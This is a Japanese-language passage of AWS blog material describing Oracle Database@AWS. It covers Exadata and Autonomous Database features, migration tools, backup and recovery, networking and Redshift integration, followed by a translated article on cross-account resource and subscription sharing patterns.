Oracle ワークロードは、Exadata プラットフォーム固有の機能に依存しています。マルチノードの耐障害性を実現する Oracle RAC、ストレージレベルのクエリオフロードを行う Exadata Smart Scan、 ベクトル処理向けの Exadata AI Smart Scan 、ハイブリッドカラムナ圧縮、ストレージインデックスなどです。多くのミッションクリティカルなアプリケーションにとって、これらは好みの問題ではなくアーキテクチャ上の要件です。 ODB@AWS はこれらの機能を、Oracle が管理し AWS アベイラビリティゾーン内に物理的に設置された専用 Exadata ハードウェア上で提供します。 Oracle RAC – 複数のデータベースノードにわたる水平スケーラビリティ、最大稼働時間/ゼロダウンタイム、フォールトトレランスを提供します。 Exadata Smart Scan – クエリ処理をストレージサーバーにオフロードし、データベース層に必要なコンピューティングを削減できる可能性があります。 Exadata AI Smart Scan – AI Vector Search ワークロードのベクトル操作をストレージサーバーにオフロードし、ベクトルデータをメモリ速度で処理して AI アプリケーションのパフォーマンスを向上させます。 ハイブリッドカラムナ圧縮 – 分析データとアーカイブデータの保存を最適化します。 ストレージインデックス – ストレージ層で不要な I/O を排除します。 Exadata X11M インフラストラクチャ – 現行モデルとして提供され、最大 32 台のデータベースサーバーと 64 台のストレージサーバーを構成できます。 #7 – Oracle Autonomous Database ODB@AWS には Oracle Autonomous Database on Dedicated Exadata Infrastructure が含まれています。機械学習を使ってパッチ適用、チューニング、スケーリング、セキュリティを自動化する、完全に自己管理型のデータベースです。 Autonomous Database は、従来は複雑だった運用タスクを人手を介さず処理します。 自動インデックス作成 : ワークロードを継続的にモニタリングし、インデックスの作成、削除、再構築を行います。 Auto Scaling : 需要に応じて CPU とストレージのリソースを調整します。 自動パッチ適用 : ゼロダウンタイムのローリングアップデートを実施します。 自動チューニング : SQL 実行プランをリアルタイムに最適化します。 Autonomous Database により、データベース管理者 (DBA) はビジネス価値を生む戦略的な取り組みに集中でき、定常的なメンテナンスの自動化によってチームはイノベーションとビジネス目標の達成を加速できます。また、先行のキャパシティプランニングを必要とせず、実際のワークロード需要に応じてスケールする従量課金モデルもサポートしています。 VM クラスター構成: ODB@AWS は、ExaDB-D と ADB-D のいずれかを選択できる柔軟なデプロイをサポートし、ワークロードに合わせてリソースを細かく設定できます。 Exadata VM クラスター (Oracle Exadata Database Service 用): VM ごとに CPU コア、メモリ、ローカルストレージを設定できます。Oracle RAC と Oracle Grid Infrastructure をサポートします。ピーク容量に合わせた過剰なプロビジョニングではなく、ワークロード要件に合わせたコンピューティングの適正サイジングが可能です。 Autonomous VM クラスター (Oracle Autonomous Database on Dedicated Exadata Infrastructure 用): VM あたりの ECPU コア数、CPU あたりのデータベースメモリ、データベースストレージ、Autonomous Container Database の最大数を設定できます。機械学習 (ML) と AI を使ってプロビジョニング、セキュリティ確保、更新、バックアップ、チューニングを自動化し、定常的なデータベース管理タスクに人手を必要としません。 #8 – 迅速なリフトアンドシフトによるクラウド移行 ODB@AWS は Oracle ネイティブのツールチェーン一式を使った移行をサポートしており、最小限のリスクと最大限のスピードでリフトアンドシフトを実現できます。移行先が正真正銘の Exadata ハードウェアであるため、再設計や機能の廃止を必要とせず、完全な機能互換性を維持したまま移行できます。 Oracle ネイティブの移行ツール: Oracle Zero Downtime Migration (ZDM) – Oracle 純正の自動移行ツールで、ODB@AWS への移行を完全サポートしています。 RMAN – ブロックレベルのバックアップとリストアによる、信頼性が高く一貫した移行を実現します。 Oracle Data Guard – フィジカル/ロジカルスタンバイによるゼロダウンタイムのカットオーバーが可能です。 トランスポータブルテーブルスペース – 最小限のダウンタイムでスキーマレベルの高速移行を実現します。 Oracle Data Pump – スキーマとデータの論理エクスポート/インポートによる移行を行います。 Oracle GoldenGate – リアルタイムの双方向レプリケーションにより、ほぼゼロダウンタイムのカットオーバーが可能です。 #9 – Oracle Autonomous Recovery Service: 包括的なランサムウェア対策とイミュータブルバックアップ Oracle Autonomous Recovery Service (ARS) は、ランサムウェアへの防御に特化した機能を備え、Oracle Database@AWS の包括的なデータ保護と事業継続を支援します。このフルマネージドサービスは、AWS ネイティブのバックアップソリューションを補完する包括的なバックアップ・リカバリ機能を提供します。 1 秒未満の RPO を実現するリアルタイムデータ保護 Autonomous Recovery Service は REDO ログをサービスに継続的にストリーミングするリアルタイムデータ保護を提供し、1 秒未満の目標復旧時点 (RPO) を実現します。データ損失のリスクをほぼゼロに抑え、壊滅的な障害やランサムウェア被害が発生しても、発生時点から 1 秒以内の状態にデータベースを復旧できます。 保持ロックによるイミュータブルバックアップ保護 ARS は保持ロック機能によるイミュータブルバックアップ保護を提供し、保持期間中のバックアップの変更や削除を防ぎます。有効化後は、保持期間が終了するまで特権ユーザーであってもバックアップを変更・削除できません。ランサムウェア、内部の脅威アクター、誤削除に対する重要な安全装置となり、ライフサイクル全体を通じてデータの安全性とコンプライアンスを確保します。 主な機能と利点: 自動バックアップオーケストレーション – バックアップのスケジューリング、実行、ライフサイクル管理を完全自動化し、運用負荷を軽減して一貫した保護を実現します。 継続的なバックアップ検証 – バックアップが改ざんされていないことを継続的に検証し、リカバリ資産が常に利用可能であるという確信を提供します。 最適化されたリカバリワークフロー – 効率化されたリカバリプロセスにより、最小限の手作業で任意の時点への迅速かつ予測可能なリカバリを実現します。 ポリシーベースのライフサイクル管理 – 保護ポリシー (Bronze、Silver、Gold、Platinum、またはカスタム) で 14〜95 日の保持期間を定義でき、バックアップを AWS または OCI リージョンに柔軟に保存できます。 職務の分離 – バックアップ管理をデータベース管理者から分離し、バックアップデータへの不正アクセスや改ざんを防止します。 増分永続 (incremental forever) 戦略 – 初回のフルバックアップ以降は増分変更のみを取得し、ストレージ消費とバックアップウィンドウを最適化します。 柔軟なデプロイオプション Oracle Database@AWS のデプロイメントでは、データベースと同じクラウドプロバイダーのロケーションにバックアップを保存するよう Autonomous Recovery Service を設定できます。保護ポリシーで Store backups in the same cloud provider as the database オプションを有効にすると、バックアップは AWS 内に留まり、データレジデンシーとコンプライアンスの要件への対応が簡素化されます。 保護ポリシー ARS はビジネス要件に合わせた事前定義の保護ポリシーを提供します。 Bronze : 保持期間 14 日。 Silver : 保持期間 35 日 (デフォルト)。 Gold : 保持期間 65 日。 Platinum : 保持期間 95 日。 ユーザー定義 : 保持期間 14〜95 日。 ランサムウェアレジリエンス ランサムウェア被害が記録的なペースで続く時代において、Autonomous Recovery Service は強力な防御機能を提供します。イミュータブルバックアップ、保持ロック、継続的な検証、リアルタイムデータ保護の組み合わせにより、ランサムウェア被害の後でも Oracle データベースを迅速かつ完全に復旧できることを保証します。 Autonomous Recovery Service が有力な選択肢である理由 Autonomous Recovery Service は、1 秒未満の RPO、保持ロックによるイミュータブル保護、継続的な検証、自動化されたライフサイクル管理を兼ね備えています。Oracle Database@AWS のデプロイメントに高いレベルのデータ保護、規制コンプライアンス、ランサムウェアレジリエンスを求める組織にとって有力な選択肢です。 #10 – AWS コンソールと API のネイティブ統合 ODB@AWS のリソースは使い慣れた AWS ツールでプロビジョニング・管理できるため、別の運用モデルを新たに習得する必要はありません。 AWS Management Console – ODB ネットワーク、Exadata インフラストラクチャ、VM クラスターを作成する専用の ODB@AWS ダッシュボード。 AWS CLI と API – 裏側で対応する OCI API を呼び出すプログラマティックアクセス。 AWS CloudFormation – 再現可能で監査可能なデプロイのための Infrastructure as Code。 AWS Resource Access Manager (AWS RAM) によるマルチアカウントでの Exadata インフラストラクチャ共有: AWS Resource Access Manager (AWS RAM) を使うと、組織内の複数の AWS アカウントで単一の Exadata インフラストラクチャを共有でき、チームや事業部門をまたいだコスト削減と管理の簡素化を実現できます。AWS RAM により、Exadata インフラストラクチャと ODB ネットワークを同じ AWS Organization 内の複数の AWS アカウント間で共有できます。 所有者アカウントが Exadata インフラストラクチャをプロビジョニングし、信頼されたアカウントを指定したリソース共有を作成します。 信頼されたアカウントは共有インフラストラクチャ上に独自の VM クラスターとデータベースを作成できますが、基盤となる Exadata インフラストラクチャや ODB ネットワークは削除できません。 信頼されたアカウントは、共有リソースを使用する前に ODB@AWS サービスを初期化する必要があります。 リソースは同じ AWS Organization 内、同じリージョン内で、特定の AWS アカウント ID とのみ共有できます。 リソース共有は作成後に変更できず、リソースを別の購入者アカウントと共有することもできません。 これにより、インフラストラクチャの一元的な所有、Exadata キャパシティの共有によるコスト最適化、データベースチーム間の論理的な分離を、すべて AWS アカウントのガバナンスモデルの中で実現できます。 AWS Identity and Access Management (IAM) – 既存の ID フレームワークを使った認証と認可。 Amazon CloudWatch – VM クラスター、コンテナデータベース、プラガブルデータベースの AWS/ODB 名前空間のメトリクス。 AWS CloudTrail – コンプライアンスとガバナンスのための完全な API 監査ログ。 Amazon EventBridge – データベースライフサイクルイベントによるイベント駆動の自動化。 既存の AWS 運用ランブック、モニタリングダッシュボード、セキュリティポリシーは ODB@AWS に自然に拡張できます。クラウド運用チームは使い慣れたツールで作業できます。 クロスアカウント共有のベストプラクティスの詳細は、 Best practices and architecture patterns for cross-account sharing in Oracle Database@AWS を参照してください。 ネットワーク接続パターン : ODB@AWS は、スケールとトポロジーの要件に応じて 3 つの接続パターンをサポートします。 パターン 1: VPC 直接ピアリング (1 対多): 最もシンプルなネットワークパスです。ピアリングされた VPC がアプリケーション VPC として ODB ネットワークに接続します。Oracle データベースが主に単一 VPC 内のアプリケーションにサービスを提供する場合に最適です。 現在は最大 45 の VPC 接続をサポートしています。 パターン 2: AWS Transit Gateway による単一リージョンスケール: ピアリングされた VPC が ODB トランジット VPC として動作します。トラフィックは Transit Gateway 経由で ODB ネットワークに転送され、単一 AWS リージョン内の複数の VPC から ODB@AWS リソースにアクセスできます。 パターン 3: AWS Cloud WAN によるマルチリージョンスケール: ピアリングされた VPC がトランジット VPC として動作します。トラフィックは AWS Cloud WAN のコアネットワーク経由で転送され、複数の AWS リージョンとオンプレミスネットワークから ODB@AWS への接続が可能になります。 パターン 4: クロスリージョン接続のための OCI VCN ピアリング: クロスリージョンの災害復旧 (DR) やハイブリッドクラウドのシナリオでは、ODB ネットワークを Local Peering Gateway (LPG) を使って OCI Virtual Cloud Network (VCN) に接続できます。各 ODB ネットワークは、お客様のリンクされた OCI テナンシー内の OCI VCN と 1:1 でマッピングされます。これにより、OCI VCN ピアリングを介して異なる AWS リージョンの ODB@AWS デプロイメント間の接続が可能になり、複数リージョンにまたがる Oracle Data Guard 構成などのユースケースをサポートします。 技術的な考慮事項: ODB ネットワークは最大 45 の ODB ピアリング接続をサポートします。ODB ネットワークの CIDR には IP アドレス空間の計画が必要です。VPC ルートテーブルは ODB ネットワークの CIDR に合わせて手動で更新する必要があります。DNS 解決には、ピアリングされた VPC に Amazon Route 53 Resolver のアウトバウンドエンドポイントをデプロイする必要があります。Oracle アプリケーションとデータベースが同一 AZ 内にある場合、データ転送料金は発生しません。 強化されたセキュリティコントロール: IAM、Amazon CloudWatch、AWS CloudTrail、Amazon EventBridge に加えて、ODB@AWS は以下を提供します。 SSL/TLS 暗号化 – ODB@AWS へのすべての接続は転送中に暗号化されます。 AWS Key Management Service (AWS KMS) – AWS CloudFormation とマネージド統合を使った暗号化キー管理との統合。 ネットワーク分離 – ODB ネットワークはプライベートでパブリックインターネットに公開されず、すべての接続は AWS ネットワークファブリック内で ODB ピアリング、AWS Transit Gateway、または AWS Cloud WAN を使用します。 ODB@AWS は AWS インフラストラクチャ層のコンプライアンス認証 (SOC、ISO、PCI DSS、HIPAA 対応) を継承し、Exadata とデータベースソフトウェア層のコンプライアンスは Oracle が維持します。 #11 – Amazon Redshift との Zero-ETL 統合 図 1: Amazon Redshift への Zero-ETL 統合 Amazon Redshift との Zero-ETL は、ETL パイプラインの構築や管理なしに、またネットワーク間のデータ転送コストなしに、Oracle のトランザクションデータを Amazon Redshift にレプリケートします。これにより以下が可能になります。 リアルタイム分析 : Amazon Redshift のカラムナエンジンを使った Oracle トランザクションデータの分析。 ML と AI のワークロード : Amazon Redshift に接続した Amazon SageMaker AI の活用。 クロスソース分析 : Oracle データと、すでに Amazon Redshift にある他の AWS ソースのデータの結合。 ビジネスインテリジェンス : ほぼリアルタイムの Oracle データを使った Amazon QuickSight ダッシュボード。 図 2: Zero-ETL と分析サービスの統合 Oracle E-Business Suite (Oracle EBS)、PeopleSoft、Siebel などの Oracle エンタープライズアプリケーション環境では、これが特に重要です。Oracle EBS は財務、サプライチェーン、製造、人事にわたる膨大な量のトランザクションデータを生成します。Zero-ETL により、財務チームは GL 仕訳の分析、サプライチェーンチームは在庫移動の分析、調達チームは発注支出の追跡を、別途 ETL インフラストラクチャなしでほぼリアルタイムに実行できます。 Amazon VPC Lattice による AWS サービス接続 – AWS Glue Zero-ETL やその他の AWS 分析統合は、ODB ネットワークから AWS サービスへのネイティブアクセスを提供する Amazon VPC Lattice によって実現されます。 VPC Lattice 経由の Amazon S3 – Oracle 管理のバックアップを、パブリックインターネットを経由せず Amazon S3 (99.999999999%、イレブンナインの耐久性設計) に直接保存できます。 Amazon Bedrock と Amazon SageMaker AI – Oracle データが Amazon Redshift や Amazon S3 に流れることで、Amazon Bedrock の基盤モデル (FM) や Amazon SageMaker AI を使い、予知保全、需要予測、Oracle トランザクションデータに対する LLM ベースの分析といったユースケースの生成 AI・ML パイプラインを構築できます。 注: マネージド統合には標準の VPC Lattice データ処理料金が適用されます。統合自体に時間あたりの料金はかかりません。 #12 – Oracle アプリケーション向けの認定アーキテクチャ Oracle は ODB@AWS 上に Oracle エンタープライズアプリケーションをデプロイするためのリファレンスアーキテクチャを公開しており、 Oracle E-Business Suite (Oracle EBS) が最初の認定デプロイパターンです。アプリケーション層を AWS で、データベース層を Exadata で、すべて同一 AWS リージョン内で実行するサポート対象の構成です。 Oracle E-Business Suite のリファレンスアーキテクチャ: Amazon EC2 上の Oracle アプリケーション層 – Web、フォーム、コンカレント処理、管理サーバー。 ODB@AWS の Exadata 上のデータベース層 – 同一アベイラビリティゾーン内の低レイテンシーネットワーキングで ODB ピアリング接続。 AWS Transit Gateway – 複数の VPC、ODB ネットワーク、オンプレミス拠点を接続するハブアンドスポークネットワーキング。 Amazon FSx for NetApp ONTAP – 共有 APPL_TOP ファイルシステム。SnapMirror による本番・非本番環境間のクローンをサポート。 AWS Direct Connect – オンプレミスデータセンターへのハイブリッド接続。 Oracle EBS のアプリケーションコードは変更不要です。RAC、Data Guard、ASM、RMAN を含むデータベース機能はすべて、オンプレミスとまったく同じように動作します。Oracle EBS 12.2 は Oracle Database 26ai on Exadata の認定を受けているため、ODB@AWS で Oracle EBS を実行しながら 26ai の機能を活用できます。 その他の Oracle アプリケーションのサポート: ODB@AWS は、 PeopleSoft 、Siebel、JD Edwards EnterpriseOne、Oracle Enterprise Performance Management、Oracle Retail Applications などの他の Oracle エンタープライズアプリケーションもサポートしています。これらのアプリケーションは、アプリケーション層を Amazon EC2、データベース層を ODB@AWS の Exadata とする同様のアーキテクチャパターンに従い、同じ低レイテンシー接続と AWS サービス統合の利点を維持します。 WebLogic や Fusion Middleware などの Oracle ミドルウェアプラットフォームもこのアーキテクチャと統合でき、Oracle Database 上に構築された ISV アプリケーションも同じデプロイパターンに従うことができます。 EBS を ODB@AWS にデプロイするリファレンスアーキテクチャ は、Oracle EBS のアプリケーション層を AWS で、データベース層を Exadata で、すべて同一 AWS リージョン内で実行するサポート対象の構成です。 Amazon EC2 上の EBS アプリケーション層 – Web、フォーム、コンカレント処理、管理サーバー。 ODB@AWS の Exadata 上のデータベース層 – 同一アベイラビリティゾーン内の低レイテンシーネットワーキングで ODB ピアリング接続。 AWS Transit Gateway – 複数の VPC、ODB ネットワーク、オンプレミス拠点を接続するハブアンドスポークネットワーキング。 Amazon FSx for NetApp ONTAP – 共有 APPL_TOP ファイルシステム。SnapMirror による本番・非本番環境間のクローンをサポート。 AWS Direct Connect – オンプレミスデータセンターへのハイブリッド接続。 Amazon S3 – イレブンナインの耐久性を持つデータベースバックアップ。 Oracle EBS のアプリケーションコードは変更不要です。RAC、Data Guard、ASM、RMAN を含むデータベース機能はすべて、オンプレミスとまったく同じように動作します。Oracle EBS 12.2 は Oracle Database 26ai on Exadata の認定を受けている ため、ODB@AWS で Oracle EBS を実行しながら 26ai の機能を活用できます。 #13 – Oracle ワークロードごとに適切な AWS の選択肢を選ぶ AWS は現在、Oracle ワークロード向けに 3 つの有力な選択肢を提供しています。適切な選択は、どのサービスが「優れているか」ではなく、ワークロードの要件によって決まります。 ワークロード要件 最適な選択肢 マネージド Oracle DB、共同管理の運用、自動メンテナンス、標準機能 Amazon RDS for Oracle、または ADB-D OS へのフルアクセス、カスタム設定、特定のパッチ適用ニーズ Amazon EC2 上の Oracle、または ExaDB-D Exadata 機能、Oracle RAC のフォールトトレランス、Autonomous DB Oracle Database@AWS – ExaDB-D Autonomous Database、自己管理型の運用、自動メンテナンス Oracle Database@AWS – ADB-D EE の License Included による Oracle サポートコストの排除 Oracle Database@AWS (ExaDB-D または ADB-D) ストレージ効率によるコスト最適化 Oracle Database@AWS (ExaDB-D または ADB-D) – 圧縮なしの Exadata で GB あたり 0.025 USD 多くの組織は、Oracle 資産全体で複数の選択肢を併用することになるでしょう。開発・テスト用データベースは Amazon RDS for Oracle で、カスタム Oracle 設定が必要なアプリケーションは RDS Custom for Oracle で、ミッションクリティカルな Oracle EBS 本番環境は Oracle Database@AWS で運用する、といった形です。これらの選択肢はポートフォリオとして連携します。 始め方 Oracle Database@AWS の検討を始めるには: AWS Management Console にアクセス – AWS Management Console の Oracle Database@AWS ダッシュボード サービスページで、サービスと利用可能な構成を確認します。 プライベートオファーをリクエスト – AWS または Oracle のアカウントチームに連絡するか、 AWS Marketplace から直接リクエストします。 ワークロードを評価 – Oracle AWS Optimization and Licensing Assessment (OLA) を使って、Oracle 資産、ライセンス状況、移行の準備状況を評価します。前述の判断フレームワークを適用して、各ワークロードに適した ODB@AWS のサービスティア (ExaDB または ADB) を決定します。 ドキュメントを確認 – Oracle Database@AWS ユーザーガイド と Oracle のドキュメント に、セットアップ、設定、移行の詳細なガイダンスがあります。 パートナーと連携 – AWS Oracle コンピテンシーパートナー が、ZDM ベースの移行計画と実行を含む ODB@AWS 環境の設計、デプロイ、管理を支援します。 まとめ 本記事では、Oracle Database@AWS が AWS 上で Oracle を実行するための選択肢のポートフォリオをどのように拡張するかを解説しました。このソリューションは、Exadata のパフォーマンス、RAC のフォールトトレランス、Autonomous Database の自動化、柔軟なライセンスモデルを AWS にもたらし、ネイティブなコンソール統合、zero-ETL 分析、Oracle Database 26ai による AI 機能も備えています。 Exadata の機能、事業継続性のための Oracle RAC、ストレージコストの最適化、Enterprise Edition の従量課金ライセンス、Oracle サポートコストの簡素化が必要であれば、ODB@AWS は詳しく検討する価値があります。うまく機能しているものを置き換える話ではありません。すべての Oracle ワークロードに適切な選択肢を持つということです。 Oracle Database@AWS がクラウド戦略にどう組み込めるか、また特定の Oracle ワークロード要件にどう応えられるかをぜひ検討してください。ODB@AWS の実際の効果を確認する準備はできましたか？AWS Optimization and Licensing Assessment (AWS OLA) をリクエストしてください。AWS と Oracle のエキスパートが協力して現在の Oracle 資産を評価し、最適化の機会を特定し、Oracle Database@AWS への移行・モダナイゼーションのロードマップをお客様に合わせて設計する包括的なエンゲージメントです。 今すぐ AWS OLA をリクエスト して、AWS 上での Oracle ワークロード最適化への道を歩み始めてください。 コメント欄でご意見をお聞かせいただくか、Oracle Database@AWS が組織のニーズをどのようにサポートできるか、私たちのチームまでお気軽にご相談ください。 著者について Simon Cunningham Simon は、プリンシパルパートナーソリューションアーキテクトで、Oracle ワークロードのサポートとアプリケーション・データベースの AWS 移行において 25 年以上の経験を持っています。 Raghu Soma AWS のシニアパートナーソリューションアーキテクトです。お客様とパートナーとともに、Oracle Database@AWS や Oracle アプリケーション (COTS) を含む AWS 上の Oracle ワークロードの設計とデプロイに取り組み、コスト削減、レジリエンス向上、クラウドネイティブ機能の活用を支援しています。 Karthik Gopalakrishnan AWS の Extended Support、ODB@AWS、Db2 を担当するシニアプロダクトマネージャー (テクニカル) です。 この記事は Solutions Architect の 矢木 覚が翻訳しました。

本記事は 2026 年 4 月 23 日 に公開された「 Best practices and architecture patterns for cross-account sharing in Oracle Database@AWS 」を翻訳したものです。 Oracle Database@AWS (ODB@AWS) は、Amazon Web Services (AWS) データセンター内で Oracle Cloud Infrastructure (OCI) が管理する Oracle Exadata インフラストラクチャにアクセスできるサービスで、Oracle Cloud Infrastructure (OCI) と AWS の間で統一された体験を提供します。オンプレミスデプロイメントと同等の機能、アーキテクチャ互換性、パフォーマンスを維持しながら、Oracle Exadata ワークロードの AWS クラウドへの移行を簡素化します。 Oracle Database@AWS は現在、以下の OCI サービス を提供しています。 Oracle Exadata Database Service on Dedicated Infrastructure (ExaDB-D) Oracle Autonomous AI Database on Dedicated Exadata Infrastructure (ADB-D) Oracle Database Autonomous Recovery Service (ARS) Oracle Database@AWS は、環境のライフサイクル管理とガバナンスを改善しながら、ビジネスユニット間で Oracle データベースを運用するモデルを定義する複数の方法を提供します。本記事では、AWS アカウント間で Oracle Database@AWS (ODB@AWS) リソースを共有するためのオプションを解説します。あわせて、一般的なクロスアカウントアーキテクチャパターン、ベストプラクティス、重要な考慮事項も紹介します。これにより、AWS アカウント全体で効率的な ODB@AWS アーキテクチャを設計できます。本記事で使用する主要な用語の確認は、記事末尾の「主要な概念」セクションを参照してください。 クロスアカウントのリソース共有とデプロイオプション パート 1: リソース共有オプション 同一 Organization 内のアカウント間で ODB@AWS リソースと Marketplace サブスクリプションを共有するための大まかなアプローチは以下のとおりです。 AWS Resource Access Manager (AWS RAM) によるリソース共有。 AWS Resource Access Manager (AWS RAM) 共有では、同じ AWS Organization 内の複数の AWS アカウント間で Exadata インフラストラクチャと ODB ネットワークリソースを共有できます。 AWS License Manager を使った AWS Marketplace エンタイトルメント共有によるサブスクリプションの他アカウントとの共有。 エンタイトルメント共有では、購入者アカウント (グランター アカウント) が、同じ AWS Organization 内の複数の AWS アカウント (グランティー アカウント) に Oracle Database@AWS のエンタイトルメントを共有できます。各グランターまたはグランティーアカウントは、集中管理されたサブスクリプションを利用しながら、自身の AWS アカウント内で ODB@AWS をプロビジョニング・運用し、独立したネットワーキング、セキュリティ境界、運用管理を維持します。 パート 2: リソース共有のデプロイパターン (リソースモデリング) 同一 Organization 内の単一または複数の AWS アカウントにリソースをモデリング・デプロイする際に使える一般的なアーキテクチャパターンは以下のとおりです。 単一アカウント (購入者アカウントのみ) のデプロイ Exadata インフラストラクチャまたは ODB ネットワークのクロスアカウントリソース共有 リソース分離のためのクロスアカウントサブスクリプション共有 サブスクリプション共有とリソース共有を組み合わせたクロスアカウントハイブリッドモデル クロスアカウントハイブリッドモデル – グランティーアカウントが RAM 共有を実施 クロスアカウントハイブリッドモデル – 信頼されたアカウントとグランティーアカウントの両方を兼ねるアカウント AWS Resource Access Manager (AWS RAM) によるリソース共有 Oracle Database@AWS は AWS Resource Access Manager (AWS RAM) を使い、安全で制御されたリソース共有を実現します。チームやビジネスユニット間でガバナンスとセキュリティ境界を維持しながら Oracle データベースインフラストラクチャのコストを最適化したい組織に有用です。このオプションでは、AWS 購入者アカウントがプロビジョニング済みの Exadata インフラストラクチャまたは ODB ネットワークを他の信頼された AWS アカウントと共有できます。信頼されたアカウントは、自身のアカウント内で VM クラスターまたは Autonomous VM クラスターと CDB/PDB を作成できます。信頼されたアカウントは Exadata インフラストラクチャや ODB ネットワークを作成できません。信頼されたアカウントはトランジット Amazon Virtual Private Cloud (Amazon VPC) を作成し、共有された ODB ネットワークとピアリングできます。次のアーキテクチャパターンでは、購入者アカウントが ODB ネットワークと Exadata インフラストラクチャの両方をプロビジョニングし、信頼されたアカウント 1 と 2 に共有しています。信頼されたアカウントは共有インフラストラクチャ上に VM クラスターを作成し、アプリケーション VPC とピアリングできます。 購入者アカウントと信頼されたアカウント間のリソース共有を有効にする手順は以下のとおりです。 AWS License Manager による Marketplace エンタイトルメント共有 AWS Marketplace のセラープライベートオファー機能を使うと、Oracle から Oracle Database@AWS の料金と EULA 条件を受け取ることができます。AWS Marketplace での ODB@AWS のリクエストと購入の手順は オンボーディングセクション を参照してください。Marketplace エンタイトルメント共有オプションでは、同じ AWS Organization 内の AWS アカウント間で Oracle Database@AWS のサブスクリプションとエンタイトルメントを共有できます。購入者 (グランター) AWS アカウントが AWS License Manager を通じてグランティー AWS アカウントにエンタイトルメントを共有します。グランティーアカウントは、自身のアカウント内で独自の ODB ネットワーク、Exadata インフラストラクチャ、VM クラスター、Autonomous VM クラスター、データベースをプロビジョニングします。 次のアーキテクチャ図では、グランター (購入者) アカウントがグランティーアカウント 1 と 2 にエンタイトルメントを共有し、グランティーアカウントが独自の ODB ネットワークと Exadata インフラストラクチャを作成できるようにしています。 グランターアカウントとグランティーアカウント間のエンタイトルメント共有を有効にする手順は以下のとおりです。 リソースモデリングのユースケース 単一アカウント (購入者アカウントのみ) のデプロイ このケースでは、単一の AWS アカウントに Oracle Database@AWS リソースをデプロイします。マルチクラウドリンク設定の一環として、各 AWS アカウントは リンク された OCI テナンシー内に専用のコンパートメントを持ちます。購入者アカウントは任意の Oracle Database@AWS サービスをデプロイできます。 次のアーキテクチャパターンでは、ODB ネットワーク、Exadata インフラストラクチャ、VM クラスター、データベースを含む ODB@AWS リソースが、Marketplace オファーを受諾した購入者アカウントによってデプロイ・所有されています。図 1 では、Oracle データベースに接続するアプリケーションは同一アカウント内の複数の VPC にあり、ODB ピアリングで直接ピアリングされています。 図 1: 同一アカウント内の複数アプリケーション VPC との直接 ODB ピアリング 次のアーキテクチャ図では、Oracle データベースに接続するアプリケーションは、AWS Transit Gateway を経由するハブアンドスポークアーキテクチャで接続しています。図 1 と図 2 のアーキテクチャは、アプリケーション、データベース、ODB@AWS Marketplace オファーが単一アカウントにあるユースケース向けの最もシンプルなパターンです。 図 2: 同一アカウント内で Transit Gateway を経由した複数 VPC から ODB@AWS への接続 Exadata インフラストラクチャまたは ODB ネットワークのクロスアカウント共有 このパターンでは、AWS RAM を使って複数の AWS アカウント間で Exadata インフラストラクチャと ODB ネットワークを共有します。信頼された各 AWS アカウントは、データベースをデプロイするための専用 VM クラスターまたは AVM クラスターを持てます。単一の Exadata インフラストラクチャまたは ODB ネットワークを複数の信頼された AWS アカウントと共有できます。複数の事業部門やチームで Exadata インフラストラクチャを共有することで、コストを削減できます。次の図のように、購入者 AWS アカウント (アカウント 1) はコンパートメント A を持つ OCI テナンシーにリンクされています。Exadata リソースは購入者アカウントから信頼されたアカウント 2 と信頼されたアカウント 3 に共有されています。信頼された各アカウントは、同じ OCI テナンシー配下の OCI 側に対応するコンパートメントを持ちます。 ODB ネットワークとアプリケーション/トランジット VPC 間のクロスアカウントピアリングでは、次の図のように、購入者アカウントから信頼されたアカウントに ODB ネットワークを共有し、信頼されたアカウント内の VPC とピアリングできます。 注: 購入者アカウントの ODB ネットワークを、信頼されたアカウントから AWS RAM で共有された VPC サブネットと直接ピアリングすることはできません。 次の図のように、ODB ネットワークに加えて Exadata インフラストラクチャも信頼されたアカウントと共有できます。非本番と本番のワークロードを別々の AWS アカウントに分離するのに適したアプローチです。 リソース分離のためのクロスアカウント Marketplace サブスクリプション 次のパターンでは、同一 Organization 内の複数の AWS アカウントに Oracle Database@AWS を分離しつつ、各アカウントが独立して独自の Oracle Database@AWS リソースをプロビジョニングし、そのライフサイクルを完全に管理できるようにします。アカウント A は License Manager を使ってアカウント B とアカウント C にサブスクリプションのエンタイトルメントを共有します。このアプローチは、複数の事業部門にまたがる大規模なデータベースデプロイメントの管理や、ソフトウェア開発ライフサイクル (SDLC) 間でインフラストラクチャを共有しないというコンプライアンスやガバナンスの要件への対応に役立ちます。 サブスクリプション共有とリソース共有を組み合わせたクロスアカウントハイブリッドモデル このパターンは、AWS License Manager によるサブスクリプション共有と AWS Resource Access Manager によるリソース共有を組み合わせたクロスアカウントハイブリッドモデルです。次の図では、AWS グランター (購入者) アカウントが AWS License Manager を使ってグランティーアカウントにサブスクリプションを共有しています。購入者アカウントとグランティーアカウントの両方が独自の Exadata インフラストラクチャと ODB ネットワークを作成します。購入者アカウントはさらに、Exadata インフラストラクチャと ODB ネットワークを複数の信頼されたアカウントに共有し、各アカウントは本番/非本番ワークロードのホスティングやアプリケーションごとの分離のために独自の VM クラスターを持ちます。 クロスアカウントハイブリッドモデル – グランティーアカウントが AWS RAM 共有を実施 次のパターンは、前のパターンを発展させた複雑なクロスアカウントハイブリッドモデルで、グランターとグランティーの両アカウントが AWS RAM を使って自身の信頼されたアカウントに ODB@AWS リソースを共有します。次のアーキテクチャ図のように、グランターとグランティーの両アカウントが独自の Exadata インフラストラクチャと ODB ネットワークをデプロイし、これらの ODB@AWS リソースを複数の信頼されたアカウントに共有しています。サブスクリプション共有と AWS RAM 共有を組み合わせることで、インフラストラクチャ・ODB ネットワークレベルと VM クラスターレベルの 2 段階で分離できます。 クロスアカウントハイブリッドモデル – 信頼されたアカウントとグランティーアカウントの両方を兼ねるアカウント 次のパターンは、1 つの AWS アカウントが信頼されたアカウントとグランティーアカウントの両方の役割を担う構成です。このユースケースでは、購入者アカウント A が AWS アカウント 2 に対して AWS RAM 共有とサブスクリプション共有の両方を有効にします。アカウント 2 は、アカウント 1 から共有された Exadata と ODB ネットワーク上にリソースをデプロイできます。同時に、アカウント 2 はアカウント 1 から分離された独自の Exadata と ODB ネットワークもデプロイできます。本番ワークロード用に専用 Exadata を持ち、非本番ワークロード用に Exadata を共有するシナリオで有用なパターンです。 次の表は、各 AWS アカウントタイプが実行できる操作をまとめたものです。 ✓ ✓✓✓ AWS RAM 共有 エンタイトルメント共有 ODB ネットワークの作成 Exadata インフラストラクチャの作成 Exa-VMC/AVMC の作成 購入者/グランター ✓ ✓ ✓ ✓ ✓ 信頼されたアカウント グランティー ✓ 考慮事項 ODB@AWS で AWS RAM 